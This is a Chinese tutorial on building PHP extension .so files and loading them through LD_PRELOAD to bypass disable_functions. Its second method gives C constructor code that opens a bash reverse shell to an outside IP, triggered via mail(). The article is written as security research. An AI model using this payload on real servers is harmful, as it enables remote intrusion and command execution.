php自定义恶意扩展so编写过程
字数 1514 2025-08-22 12:23:36

PHP自定义恶意扩展SO编写过程详解

0x01 前言

LD_PRELOAD是Linux的环境变量,可以设置一个指定库的路径,常被用来绕过disable_functions限制。本文将详细讲解如何编写PHP自定义扩展(.so文件)的完整过程,包括PHP扩展与PHP内核的交互机制。

0x02 PHP生命周期与扩展加载

PHP的生命周期分为五个关键阶段:

  1. 模块初始化阶段

    • 注册PHP和Zend引擎的扩展
    • 将常量注册到EG(zend_constants)
    • 全局变量注册到CG(auto_globals)
    • 调用PHP扩展的PHP_MINIT()
  2. 请求初始化阶段

    • 初始化PHP脚本的基本执行环境
    • 调用PHP扩展的PHP_RINIT()
  3. 执行PHP脚本阶段

    • 将PHP编译成opcode码
    • 使用Zend引擎执行opcode
  4. 请求结束阶段

    • 清理EG(symbol_table)
    • 销毁全局变量PG(http_globals)
    • 调用析构函数和各种扩展的RSHUTDOWN函数
    • 关闭编译器和执行器
    • 关闭内存管理器
  5. 模块关闭阶段

    • 清理持久化符号表
    • 调用各扩展的MSHUTDOWN
    • 清理扩展globals
    • 注销扩展提供的函数

扩展加载过程

PHP扩展的加载发生在模块初始化阶段,具体步骤如下:

  1. 使用dlopen()函数打开.so库文件,并返回句柄给dlsym()
  2. 使用dlsym()函数获取动态库中的get_module()函数地址
  3. 调用get_module()函数获取扩展的zend_module_entry结构
  4. 检查Zend API版本号,确认是否适用于当前PHP版本
  5. 注册扩展,将扩展添加到module_registry
  6. 如果扩展有内部函数,将内部函数注册到EG(function_table)中

0x03 扩展编写详细步骤

1. 编写config.m4文件

config.m4是扩展的编译配置文件,会被include到configure.in文件中,最终被autoconf编译为configure。

基本模板:

PHP_ARG_ENABLE(扩展名称, for mytest support, 
Make sure that the comment is aligned: 
[ --with-扩展名称 Include xxx support])

if test "$PHP_扩展名称" != "no"; then
    PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
fi

实际示例:

PHP_ARG_ENABLE(php_knight, Whether to enable the KnightPHP extension,
[ --enable-knight-php Enable KnightPHP ])

if test "$PHP_KNIGHT" != "no"; then
    PHP_NEW_EXTENSION(php_knight, php_knight.c, $ext_shared)
fi

2. 编写头文件(.h)

php_knight.h示例:

// 定义模块常量
#define PHP_KNIGHT_EXTNAME "php_knight"
#define PHP_KNIGHT_VERSION "0.0.1"

// 声明模块的函数功能
PHP_FUNCTION(knight_php); // 此处是你想要生成的扩展函数

3. 编写源文件(.c)

php_knight.c示例:

// 包含php.h文件
#include <php.h>
// 包含扩展文件
#include "php_knight.h"

// 将函数注册到php中
zend_function_entry knight_php_functions[] = { // 此处要是 函数名_functions[]
    PHP_FE(knight_php, NULL) // 此处为函数名
    {NULL, NULL, NULL}
};

// 关于整个模块的详细信息
zend_module_entry knight_php_module_entry = { // 结构体的格式是 函数名_module_entry
    STANDARD_MODULE_HEADER, // 宏统一设置
    PHP_KNIGHT_EXTNAME, // 扩展名称
    knight_php_functions, // 扩展的内部函数
    NULL, NULL, NULL, NULL, NULL,
    PHP_KNIGHT_VERSION, // 扩展版本
    STANDARD_MODULE_PROPERTIES // 宏统一设置
};

// 提供一个接口给php来获取zend_module_entry
ZEND_GET_MODULE(knight_php)

// 函数实现
PHP_FUNCTION(knight_php)
{
    php_printf("Hello World!\n");
}

4. 编译扩展

  1. 安装必要的工具:

    sudo apt-get install php-dev
    
  2. 生成configure文件:

    phpize
    
  3. 配置编译选项:

    ./configure --enable-php-knight
    
  4. 编译并安装:

    make
    make install
    

编译完成后,会在目录下生成php_knight.so文件。

0x04 使用自定义扩展

编写PHP测试文件test.php

<?php
putenv("LD_PRELOAD=./php_knight.so");
knight_php();

访问该PHP文件,将会输出"Hello World!"。

0x05 另一种恶意扩展实现方法

1. 编写C代码

knight.c示例:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

__attribute__ ((__constructor__)) // 在main()函数之前执行
static void test()
{
    char cmd[0x100];
    strcpy(cmd, "bash -i >& /dev/tcp/192.168.3.26/6666 0>&1");
    system(cmd);
}

2. 编译为共享库

gcc knight.c -fPIC -shared -o knight.so

3. PHP调用代码

knight.php示例:

<?php
putenv("LD_PRELOAD=./knight.so");
mail('', '', '', ''); // 调用扩展
?>

这种方法相比前一种的局限性在于需要mail()函数未被禁用。

0x06 关键点总结

  1. LD_PRELOAD机制:利用Linux环境变量在程序运行前加载自定义库
  2. PHP扩展结构:必须包含zend_module_entryZEND_GET_MODULE
  3. 编译过程:需要正确编写config.m4并使用phpize工具链
  4. 函数注册:通过zend_function_entry数组注册PHP可调用的函数
  5. 两种实现方式
    • 完整PHP扩展方式(更灵活但复杂)
    • 简单共享库方式(依赖特定函数如mail())
  6. 恶意功能实现:可以在构造函数中执行任意系统命令

安全注意事项

本文所述技术仅用于安全研究和防御目的。在实际环境中使用此类技术可能违反系统安全策略,请确保在合法授权范围内使用,并遵守相关法律法规。

PHP自定义恶意扩展SO编写过程详解 0x01 前言 LD_ PRELOAD是Linux的环境变量,可以设置一个指定库的路径,常被用来绕过disable_ functions限制。本文将详细讲解如何编写PHP自定义扩展(.so文件)的完整过程,包括PHP扩展与PHP内核的交互机制。 0x02 PHP生命周期与扩展加载 PHP的生命周期分为五个关键阶段: 模块初始化阶段 注册PHP和Zend引擎的扩展 将常量注册到EG(zend_ constants) 全局变量注册到CG(auto_ globals) 调用PHP扩展的PHP_ MINIT() 请求初始化阶段 初始化PHP脚本的基本执行环境 调用PHP扩展的PHP_ RINIT() 执行PHP脚本阶段 将PHP编译成opcode码 使用Zend引擎执行opcode 请求结束阶段 清理EG(symbol_ table) 销毁全局变量PG(http_ globals) 调用析构函数和各种扩展的RSHUTDOWN函数 关闭编译器和执行器 关闭内存管理器 模块关闭阶段 清理持久化符号表 调用各扩展的MSHUTDOWN 清理扩展globals 注销扩展提供的函数 扩展加载过程 PHP扩展的加载发生在模块初始化阶段,具体步骤如下: 使用 dlopen() 函数打开.so库文件,并返回句柄给 dlsym() 使用 dlsym() 函数获取动态库中的 get_module() 函数地址 调用 get_module() 函数获取扩展的 zend_module_entry 结构 检查Zend API版本号,确认是否适用于当前PHP版本 注册扩展,将扩展添加到 module_registry 中 如果扩展有内部函数,将内部函数注册到EG(function_ table)中 0x03 扩展编写详细步骤 1. 编写config.m4文件 config.m4 是扩展的编译配置文件,会被include到configure.in文件中,最终被autoconf编译为configure。 基本模板: 实际示例: 2. 编写头文件(.h) php_knight.h 示例: 3. 编写源文件(.c) php_knight.c 示例: 4. 编译扩展 安装必要的工具: 生成configure文件: 配置编译选项: 编译并安装: 编译完成后,会在目录下生成 php_knight.so 文件。 0x04 使用自定义扩展 编写PHP测试文件 test.php : 访问该PHP文件,将会输出"Hello World !"。 0x05 另一种恶意扩展实现方法 1. 编写C代码 knight.c 示例: 2. 编译为共享库 3. PHP调用代码 knight.php 示例: 这种方法相比前一种的局限性在于需要 mail() 函数未被禁用。 0x06 关键点总结 LD_ PRELOAD机制 :利用Linux环境变量在程序运行前加载自定义库 PHP扩展结构 :必须包含 zend_module_entry 和 ZEND_GET_MODULE 编译过程 :需要正确编写config.m4并使用phpize工具链 函数注册 :通过 zend_function_entry 数组注册PHP可调用的函数 两种实现方式 : 完整PHP扩展方式(更灵活但复杂) 简单共享库方式(依赖特定函数如mail()) 恶意功能实现 :可以在构造函数中执行任意系统命令 安全注意事项 本文所述技术仅用于安全研究和防御目的。在实际环境中使用此类技术可能违反系统安全策略,请确保在合法授权范围内使用,并遵守相关法律法规。